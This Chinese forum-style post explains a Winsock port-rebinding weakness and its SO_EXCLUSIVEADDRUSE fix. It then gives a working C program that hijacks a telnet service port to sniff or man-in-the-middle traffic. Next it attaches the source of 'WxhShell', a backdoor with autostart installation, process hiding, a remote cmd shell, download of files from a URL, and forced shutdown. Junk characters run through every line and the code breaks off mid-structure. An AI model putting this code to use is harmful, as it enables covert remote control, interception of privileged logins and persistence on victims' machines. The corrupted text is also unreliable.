在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
X2,v'`U5& s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
!mwMSkkq loBW#> saddr.sin_family = AF_INET;
QC]<`! zJUT<%[U saddr.sin_addr.s_addr = htonl(INADDR_ANY);
$`vXI%|. f8f3[O!x bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
yw7bIcs|#b *g:Dg I 2 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Gb"kl.j )/OIzbA3# 这意味着什么?意味着可以进行如下的攻击:
[{&OcEf L7xiq{t`Y 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
K9nW"0> !Zc#E, 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
B7[#z{8'# <RH%FhT 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
LUpkO 4[%_Bnv#AJ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
LRS,bl3}/ .+u r+"i 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
2'Kh>c2 qM3(OvCt 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
)`gxaT>&l eE\T,u5: 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
KMl3`+i ]S@DVXH #include
t)O]0)
s #include
fmLDufx #include
3{ea~G)[9 #include
Y$|KY/)H) DWORD WINAPI ClientThread(LPVOID lpParam);
j~9Y0jz_ int main()
}y(cv}8Y {
c0X1})q$ WORD wVersionRequested;
c2s73iz DWORD ret;
hX-^h2eV WSADATA wsaData;
rCA0c8 BOOL val;
q"f7$ SOCKADDR_IN saddr;
<5h}\5#<j SOCKADDR_IN scaddr;
&&"+\^3 int err;
Y10 SOCKET s;
+I:/8,&-x SOCKET sc;
#a]\3X int caddsize;
;uZeYY? HANDLE mt;
!<X/_+G\ DWORD tid;
J~
*>pp#U wVersionRequested = MAKEWORD( 2, 2 );
"/taatcH err = WSAStartup( wVersionRequested, &wsaData );
B~O<?@]d if ( err != 0 ) {
*N6sxFs printf("error!WSAStartup failed!\n");
U`)d
`4" return -1;
tpgD{BY^wJ }
FysIN~ saddr.sin_family = AF_INET;
Gsm.a `:0Auw9h //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
C8(0|XX "0z4mQ}>N saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
+lf`Dd3 saddr.sin_port = htons(23);
tTt}=hQpgX if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
c2Y\bKeN {
e%7#e%1s printf("error!socket failed!\n");
HA&hu/mw_ return -1;
]\ZmK0q<: }
,,S 2>X*L val = TRUE;
D_`~$QB`, //SO_REUSEADDR选项就是可以实现端口重绑定的
H>-{.E1bG if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
RH$YM
`cZ {
}p8iq printf("error!setsockopt failed!\n");
mK^E@uxN return -1;
Tx'anP }
4:s,e<Tc4v //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
l @E
{K| //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
fP\*5|7%R //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
VY=YI}E ,~Lx7 5{ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
(H]NL {
A9GSeW< ret=GetLastError();
:j32 :/u printf("error!bind failed!\n");
'Awd:Aed5 return -1;
4P7r\hs }
<J}JYT listen(s,2);
=66'33l2 while(1)
8\?H`NN {
Z:,`hW*A6 caddsize = sizeof(scaddr);
= ^%*: iT //接受连接请求
h=kC3ot\ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
[BEQ ~A_I if(sc!=INVALID_SOCKET)
q1rD>n&d {
eK\i={va mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
uj)fah?Wg if(mt==NULL)
x-q_sZ^8 {
+7y#c20 printf("Thread Creat Failed!\n");
YlZ&4 break;
@qF:v]=_@ }
!bn=b>+ }
&}#zG5eu CloseHandle(mt);
&hM7y7 }
9!dG Xq closesocket(s);
7H,)heA WSACleanup();
< 7*9b return 0;
W*u$e8i7 }
+h1X-K:I DWORD WINAPI ClientThread(LPVOID lpParam)
iBY16_q {
j:HIcCp SOCKET ss = (SOCKET)lpParam;
m:9|5W SOCKET sc;
;2aPhA unsigned char buf[4096];
be(hY{y` SOCKADDR_IN saddr;
[z'jL'\4 long num;
rX?%{M,xFw DWORD val;
]r\!Z
<<( DWORD ret;
qtz~Y~h|> //如果是隐藏端口应用的话,可以在此处加一些判断
q0nIJ( //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
UhU"[^YO saddr.sin_family = AF_INET;
{=MRJg!U saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
TALiH'w6|e saddr.sin_port = htons(23);
fBBtS S if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
g6OPYUPg {
4(`U]dNcs printf("error!socket failed!\n");
NjO_Y t return -1;
zS`KJVm }
!-JvVdM;( val = 100;
M'pIAm1p if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
K[Vj+qdyl {
{}H/N ret = GetLastError();
>H,E3Z return -1;
vm=d?*cR }
\9R=fA1 8 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
MG^YT%f {
FA%V>&;` ret = GetLastError();
y#/P||PM return -1;
E<@N4%K_Q }
d@ ]N if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
[<wpH0lNoy {
Ieh<|O,-C printf("error!socket connect failed!\n");
UsdMCJ&G closesocket(sc);
5eM{>qr} closesocket(ss);
`yC[Fn"E^ return -1;
HNLr}
Y j }
Dnd while(1)
MieO1l {
C;_0 0EQ= //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
UMK9[Iy$<M //如果是嗅探内容的话,可以再此处进行内容分析和记录
5inCAPXz //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
m\MI 6/ num = recv(ss,buf,4096,0);
3XDuo|( if(num>0)
1aPFpo! send(sc,buf,num,0);
AN)r(86L else if(num==0)
u>*qDr*d break;
"1UpoF'w num = recv(sc,buf,4096,0);
~^fb`f+% if(num>0)
a>,Zp*V( send(ss,buf,num,0);
VKSn \HT~ else if(num==0)
E
*782> break;
.S]*A b }
@h/-P'Lc=7 closesocket(ss);
4,BJK`{ closesocket(sc);
6d3YLb4M$i return 0 ;
"@t bm[ }
/bL L!nD=^ C)QKodI &
s:\tL ==========================================================
Yaz/L)Y;R f6{.Uq%SGp 下边附上一个代码,,WXhSHELL
;s+3#Py S#T u/2<} ==========================================================
~Q}!4LH Zu94dFP #include "stdafx.h"
i9T<(sdK+ bEmzigN[ #include <stdio.h>
zT93Sb #include <string.h>
.eyJ<b9 #include <windows.h>
f*VXg[&\\F #include <winsock2.h>
JkKbw&65 #include <winsvc.h>
VLoRS) #include <urlmon.h>
9~y:K$NO >'jkL5l #pragma comment (lib, "Ws2_32.lib")
0IBQE #pragma comment (lib, "urlmon.lib")
UUF]45t> S WyJ` #define MAX_USER 100 // 最大客户端连接数
e7plL^^` #define BUF_SOCK 200 // sock buffer
B;2#Sa. #define KEY_BUFF 255 // 输入 buffer
=,X*40= KDj/S-S #define REBOOT 0 // 重启
/[n]t #define SHUTDOWN 1 // 关机
r~2q`l'> {Q@?CT #define DEF_PORT 5000 // 监听端口
8/;@4^Ux }rF4M1+B\ #define REG_LEN 16 // 注册表键长度
TV`sqKW #define SVC_LEN 80 // NT服务名长度
G"".;}AV Fl}!3k>c // 从dll定义API
i`?yi-R& typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
!/X>k{ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
\S{ihS@J typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
uuL(BUGt- typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
a %?v/Ku XJk~bgO* // wxhshell配置信息
_,igN> struct WSCFG {
,$RXN8x1 int ws_port; // 监听端口
(0rcLNk{| char ws_passstr[REG_LEN]; // 口令
Bj\Us$cZ int ws_autoins; // 安装标记, 1=yes 0=no
b`f6(6 char ws_regname[REG_LEN]; // 注册表键名
lI@Z)~ char ws_svcname[REG_LEN]; // 服务名
;Zn&Nc7 char ws_svcdisp[SVC_LEN]; // 服务显示名
:)FNhx3 char ws_svcdesc[SVC_LEN]; // 服务描述信息
:z6? char ws_passmsg[SVC_LEN]; // 密码输入提示信息
+]0hSpZ"p int ws_downexe; // 下载执行标记, 1=yes 0=no
U/xzl4m6 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
L@f&71 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
(!Xb8rV0_ VFm)!'=I };
H}(WL+7 qac:"z'9 // default Wxhshell configuration
XinKG<3! struct WSCFG wscfg={DEF_PORT,
$4og{ "xuhuanlingzhe",
Pon0(:#1 1,
V}Oz!
O "Wxhshell",
KIKIag# "Wxhshell",
}G!'SZ$F 5 "WxhShell Service",
'z@]hm# "Wrsky Windows CmdShell Service",
-lXQQ#V
- "Please Input Your Password: ",
C'jCIL 1,
CIRMAX "
http://www.wrsky.com/wxhshell.exe",
f 0~Z@\ "Wxhshell.exe"
5glEV`.je };
ch0cFF^] f lt'~fe // 消息定义模块
4ywtE}mp char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
4w]<1V char *msg_ws_prompt="\n\r? for help\n\r#>";
>t.PU.OM char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
ad=7FhnIa3 char *msg_ws_ext="\n\rExit.";
=l6WO* char *msg_ws_end="\n\rQuit.";
,'sDauFn char *msg_ws_boot="\n\rReboot...";
9NZq
k char *msg_ws_poff="\n\rShutdown...";
$_e{Zv[ char *msg_ws_down="\n\rSave to ";
rA@|nL{ jR*iA3LDo char *msg_ws_err="\n\rErr!";
q6x}\$mL char *msg_ws_ok="\n\rOK!";
:`0,f ?cE @]42.oP char ExeFile[MAX_PATH];
8:uh0 int nUser = 0;
:_+U[k(# HANDLE handles[MAX_USER];
K9K.mGYc int OsIsNt;
m |.0$+= ISTAJ8"
D SERVICE_STATUS serviceStatus;
$"#M:V@ SERVICE_STATUS_HANDLE hServiceStatusHandle;
+aqQa~}r B%o%%A8*g // 函数声明
hqwsgJ
int Install(void);
wzZ]|
C(vp int Uninstall(void);
YfNN&G4_ int DownloadFile(char *sURL, SOCKET wsh);
Iv{iJoe;UH int Boot(int flag);
D7c+/H@PF void HideProc(void);
n*G!=lMji int GetOsVer(void);
t{B6W)q int Wxhshell(SOCKET wsl);
{7v|\6@e3 void TalkWithClient(void *cs);
zB\ 8<97C int CmdShell(SOCKET sock);
{n S(B int StartFromService(void);
RusiCo!r int StartWxhshell(LPSTR lpCmdLine);
?*<1B w2^s}NO VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
6.a>7-K}% VOID WINAPI NTServiceHandler( DWORD fdwControl );
^{NN- 0XE(v c! // 数据结构和表定义
x_l8&RIB* SERVICE_TABLE_ENTRY DispatchTable[] =
nppSrj? {
R/6
v#9m7 {wscfg.ws_svcname, NTServiceMain},
A}3E)Qo=G {NULL, NULL}
R1.Yx? };
8-smL^~%# y;O
6q206 // 自我安装
n"R$b: int Install(void)
Lf{pTxKr {
P8tCzjrV char svExeFile[MAX_PATH];
.RS HKEY key;
2Ns<lh strcpy(svExeFile,ExeFile);
$0]5b{i] 9N|JI3*41 // 如果是win9x系统,修改注册表设为自启动
Eh"Y<]$ if(!OsIsNt) {
?pA_/wwp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
B E#pHg RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
3;!a'[W&p RegCloseKey(key);
2"o<>d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
77 ?TRC RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
sr~VvciIy RegCloseKey(key);
`2xt%kC return 0;
P+3
]g{2w }
dp3TJZ+U }
n9 Jev_!A }
G)""^YB- else {
l
5f'R U1kW1L}B // 如果是NT以上系统,安装为系统服务
aQso<oK SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
q@4Cw&AI+ if (schSCManager!=0)
E>"SC\#7 {
"`w*-O SC_HANDLE schService = CreateService
ubsx NCqD (
=
@FT$GQ schSCManager,
u4[JDB7tH wscfg.ws_svcname,
9,}Z1 f\% wscfg.ws_svcdisp,
#O'g*]j SERVICE_ALL_ACCESS,
f1d<xGx SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
_ CzAv% SERVICE_AUTO_START,
S:c
lyx SERVICE_ERROR_NORMAL,
vTp,j-^ svExeFile,
lDs C>L-F NULL,
qtP*O#1q NULL,
CT|H1Ry2T NULL,
!Z; Nv NULL,
V{rQ@7SE NULL
kioIyV\= );
-BsZw.
7P if (schService!=0)
Mv7tK
l {
2%]#rZ
CloseServiceHandle(schService);
`Cu9y+t CloseServiceHandle(schSCManager);
t4-0mNBZt$ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
fY|vq
amA; strcat(svExeFile,wscfg.ws_svcname);
FwQGxGZ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
X,K`]hb*0_ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
pf3- RegCloseKey(key);
86o'3G9@ return 0;
mNX0BZ }
Rr\fw' }
X)8Edw[?N3 CloseServiceHandle(schSCManager);
4 @9cO)m }
Lf8{']3 }
s1T}hp 14y>~~3C4 return 1;
eBe5H
=I@ }
"fSK7%BP >lugHF$G // 自我卸载
X`I=Z ysB int Uninstall(void)
|@)jS.Bn {
}BCxAwD4 HKEY key;
n$"BF\eM y<y9'tx if(!OsIsNt) {
_Aw-{HE' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
sWgzHj(c RegDeleteValue(key,wscfg.ws_regname);
1mx;b)4t RegCloseKey(key);
iyMoLZ5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
;i 3C RegDeleteValue(key,wscfg.ws_regname);
1oG'm RegCloseKey(key);
?j}
Fxr return 0;
oMN
Qv%U }
az Oib=3fz }
V#+J4 }
f:9qId
;/M else {
e4cWi 0#F<JsO|u SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
PS??wlp7 if (schSCManager!=0)
M5]$w]Ny9 {
5eas^Rm SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
lq27^K if (schService!=0)
W1Om$S1 {
'_xa>T} if(DeleteService(schService)!=0) {
}i\_`~ CloseServiceHandle(schService);
m9aP]I3g]\ CloseServiceHandle(schSCManager);
.r-kH&)"GU return 0;
v/3Vsd }
U[!wu]HMF CloseServiceHandle(schService);
}z2K"eGt }
]tEH `Kl CloseServiceHandle(schSCManager);
(DTkK5/% }
IPnx5#eB
}
Ly6) ,[q~ _Tma1~Gq return 1;
hQDl&A }
R"QWap} f<@`{oP@ // 从指定url下载文件
$`/F5R! int DownloadFile(char *sURL, SOCKET wsh)
mmEe@-lE {
4n.EA,:g:( HRESULT hr;
<9?`zo$y char seps[]= "/";
}4xz, oN char *token;
BctU`. char *file;
TK%MVL TK char myURL[MAX_PATH];
5U(ry6fI= char myFILE[MAX_PATH];
A#w*r-P `VRt{p strcpy(myURL,sURL);
H=_k|#/ token=strtok(myURL,seps);
Bj\ oo+L/ while(token!=NULL)
/f,*| {
Je~<2EsQ file=token;
; <|m0>X token=strtok(NULL,seps);
/k^O1+]H }
Y;q['h $C6O<A GetCurrentDirectory(MAX_PATH,myFILE);
]N1gzHaS strcat(myFILE, "\\");
>2<
Jb!f& strcat(myFILE, file);
0bR})}a+Yg send(wsh,myFILE,strlen(myFILE),0);
:FI4GR*? send(wsh,"...",3,0);
XFvPc hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
5E\&O%W" if(hr==S_OK)
ixo?o]Xb` return 0;
Qx[
nR/ else
C.{z+ return 1;
]WC@*3'kye j;i7.B"[ }
Dad*6;+N V?Ye^-29 // 系统电源模块
K#'{Ko int Boot(int flag)
/%h<^YDBf {
ITEd[
@^d HANDLE hToken;
nsV;6^> TOKEN_PRIVILEGES tkp;
}G[Qm2k 7_AcvsdW if(OsIsNt) {
~ny4Ay$# OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
EX,)MU LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
HVcd< :g0 tkp.PrivilegeCount = 1;
uVV;"LVK~ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
]_P!+5]< AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
8w4cqr4m if(flag==REBOOT) {
WiclG8l if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
8{J{)gF return 0;
G+f@m, }
VtC1TZ3-7 else {
Y,C3E>}Dq if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
!l1ycQM return 0;
9\W }p\c }
% wS5m#n }
EX^j^#N else {
@K.[;-;g if(flag==REBOOT) {
M\ {W &o1! if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
c{s%kVOzg return 0;
H-1y2AQ }
1t7S:IZ else {
Dz>v;%$S- if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
[1 gWc`# return 0;
S,TK;g }
.jC-&(R
+ }
^ G(GjW8 H0\5a|X- return 1;
WD,iY_'7u^ }
gsp|?)]x 9hIcnPu // win9x进程隐藏模块
_,;|, void HideProc(void)
QC*>
qo {
6@@J>S> H{3A6fb< HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
:If1zB) if ( hKernel != NULL )
7ehs+GI {
F82_#|kpS pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Jd>"g9 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
/`V:; FreeLibrary(hKernel);
s'|^ 6/ }
AHre#$`97 L0O},O return;
7-hSso.' }
S+EC!;@Xg -h<Rby // 获取操作系统版本
SMdQ,n1] int GetOsVer(void)
amK.H" {
Fn~?YN OSVERSIONINFO winfo;
_A %8oYS winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
>O:j.(*! GetVersionEx(&winfo);
@4N@cM0
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
K)C9)J< return 1;
%l7|+%M.{ else
n/fMq,<8 return 0;
%2)'dtPD~ }
lC ^NhQi *?Sp9PixP // 客户端句柄模块
jI(}CT`g int Wxhshell(SOCKET wsl)
EJrn4QOs {
7#BpGQJQ SOCKET wsh;
sKT GZA struct sockaddr_in client;
UlN+ DWORD myID;
D20n'>ddg 71?>~PnbH} while(nUser<MAX_USER)
L-lDvc?5c {
Z?^~f}+ int nSize=sizeof(client);
76rNs|z~ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
i|5 K4Puu if(wsh==INVALID_SOCKET) return 1;
^Fr82rJs Dog Tj handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
6R+m;' if(handles[nUser]==0)
$(ugnnJ* closesocket(wsh);
Jn_; cN else
*hp3w nUser++;
\*0ow`|K }
PKhH0O\_U WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
jz_\B(m9% mG!Rh return 0;
(bk~,n_ }
[C]u!\(IF =*aun& // 关闭 socket
H"H&uA9" void CloseIt(SOCKET wsh)
6jiz$x {
jMvWS71 closesocket(wsh);
B|-E3v:f4 nUser--;
h<50jnH! ExitThread(0);
A7!=`yA$ }
}l/!thzC h4 s!VK1X // 客户端请求句柄
JR1/\F<} void TalkWithClient(void *cs)
`4&
GumG {
OE(Z)|LF D<zgs2Ex SOCKET wsh=(SOCKET)cs;
3sf+u oV char pwd[SVC_LEN];
>900O4 char cmd[KEY_BUFF];
IGj%)_W char chr[1];
P%v7(bqL4+ int i,j;
e{~s\G8g ZlHN-!OZp while (nUser < MAX_USER) {
=8?gx$r2 ;=IGl: if(wscfg.ws_passstr) {
]:m}nJ_ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
:66xrw //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
_
FcfNF //ZeroMemory(pwd,KEY_BUFF);
{"dU?/d i=0;
X#$mBRK7 while(i<SVC_LEN) {
,nJYYM
!biq7f%6# // 设置超时
<j93 fd_set FdRead;
dHnR)[?e struct timeval TimeOut;
ON{&- FD_ZERO(&FdRead);
ceDe!Iu FD_SET(wsh,&FdRead);
H=OKm TimeOut.tv_sec=8;
7dXR/i \ TimeOut.tv_usec=0;
y5L%_
{n int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
?3wEO>u if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
URq{#,~CT HY.??
5MH if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
`b^eRnpR pwd
=chr[0]; OchIEF"N
if(chr[0]==0xd || chr[0]==0xa) { 72qbxPY13h
pwd=0; f>Mg.9gJ(
break; 51Yq>'8
} yp=(wcJ
i++; D&f(h][hH?
} }4PIpDL
XY]|OZ7(
// 如果是非法用户,关闭 socket xeqAFq=9?
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3"HpM\A{A=
} Nj
Ng=q
5Uc!;Gd?b
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rULrGoM
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w\U
fq
}VlX!/42
while(1) { Yl[GO}M
B1]dub9
ZeroMemory(cmd,KEY_BUFF); V#:`:-$$+
{c|=L@/
// 自动支持客户端 telnet标准 D}1Z TX_
j=0; !JtVp&?
while(j<KEY_BUFF) { __\Tv>Y
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V45\.V
cmd[j]=chr[0]; A+Nf]([
if(chr[0]==0xa || chr[0]==0xd) { u:r'jb~@
cmd[j]=0; 1=x4m=wV
break; iq> PN:mr
} i?uJ<BdU[
j++; SG1fu<Q6J
} +~Ni7Dp]
9*gD;) !
// 下载文件 ^NB@wuf7
if(strstr(cmd,"http://")) {
9K*yds
send(wsh,msg_ws_down,strlen(msg_ws_down),0); okx~F9
if(DownloadFile(cmd,wsh)) &CCp@" +
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (B@:0}>
else >r] bfN,
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JTw\5j
} -EV_=a8[y
else { \hpD
)BR6?C3
switch(cmd[0]) { =p 9d4smbn
xy>~1 5
// 帮助 Zvd^<SP<?
case '?': { ;0Yeo"-
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5I,5da
break; bKsl'3~ k
} .l$'%AG:~
// 安装 dALJlRo"
case 'i': { $gm`}3C<
if(Install()) <^?64
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rWKc,A[
else Zi47)8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =
8F/]8_
break; @[M5$,"
} f(Q-W6
// 卸载 Sr1xG%;|/
case 'r': { (;2J}XQvO~
if(Uninstall()) {64od0:T
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "f|\":\
else ~GJJ{Bm_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GQXN1R
break; 3-4' x2
} o:u *E
// 显示 wxhshell 所在路径 :Hdn&a
i
case 'p': { X(F2 5
char svExeFile[MAX_PATH]; W]p)}#FR
strcpy(svExeFile,"\n\r"); 0\f3L a
strcat(svExeFile,ExeFile); pj. }VF!d
send(wsh,svExeFile,strlen(svExeFile),0);
Bd$i%.r
break; @RW=(&<1
} E"7 iU
// 重启 5tMp@$F\{[
case 'b': { 5/<?Y&x
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vzVXRX
if(Boot(REBOOT))
zj.;O#hW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >]?!c5=
else { AyZL(
closesocket(wsh); P#5&D*`}h
ExitThread(0); `~'yy q
} M&Aeh8>uX
break; 9$7tB
} HMT^gmF)
// 关机 F.i%o2P3
case 'd': { fI@4 v\
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D~W1["[
if(Boot(SHUTDOWN)) ~ow_&ftlo
send(wsh,msg_ws_err,strlen(msg_ws_err),0); D6
B(6
5Y
else { I%]L
closesocket(wsh); )0Av:eF-+
ExitThread(0); 2Uf]qQ1
} a>jiq8d]4
break; Y#Pl)sRr
} ndEW$?W,
// 获取shell AZ~=]1
case 's': { =H&@9=D*
CmdShell(wsh); ?k)(~Y&@p
closesocket(wsh); {Rb|";
ExitThread(0); :e1BQj`R
break; $CXKeWS=Q.
} uY+N163i
// 退出 NMYkEz(&R
case 'x': { P+r-t8
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N<V,5
CloseIt(wsh); 71i".1l{K
break; t>[K:[0U
} ~Ti
// 离开 "I.PV$Rxl
case 'q': { M$j]VZ
send(wsh,msg_ws_end,strlen(msg_ws_end),0); yM(zc/?
closesocket(wsh); >,22@4
WSACleanup(); <t[WHDO`
exit(1); S'"(zc3=
break; :_F$e
} L7i^?40
} L=zt\L
} QF 2Eg
ln}2
// 提示信息 ^DZ(T+q,
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @&!HMl
} ,<]X0;~oB
} Ba-Ftkb
C]{:>= K
return; r9@4-U7v&
} Bd8,~8
oW]~\vp^0
// shell模块句柄 ^3*k6h[(
int CmdShell(SOCKET sock) ,1+AfI
{ :n36}VG|
STARTUPINFO si; >% a^;gk(
ZeroMemory(&si,sizeof(si)); Wx&gI4~
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L$*sv.
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _B4H"2}[Y
PROCESS_INFORMATION ProcessInfo; {VOLUC o 4
char cmdline[]="cmd"; ZsjDe {TH
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Zr`pOUk!4
return 0; 8jyg1NN D
} )LE SdX
r|[uR$|Y
// 自身启动模式 (xnXM}M&2Y
int StartFromService(void) JGjqBuz#A*
{ L' w
}
typedef struct ^VCgc>x;
{ W|S{v7[l
DWORD ExitStatus; Cf#[E~2 4
DWORD PebBaseAddress; M7rVH\:[-
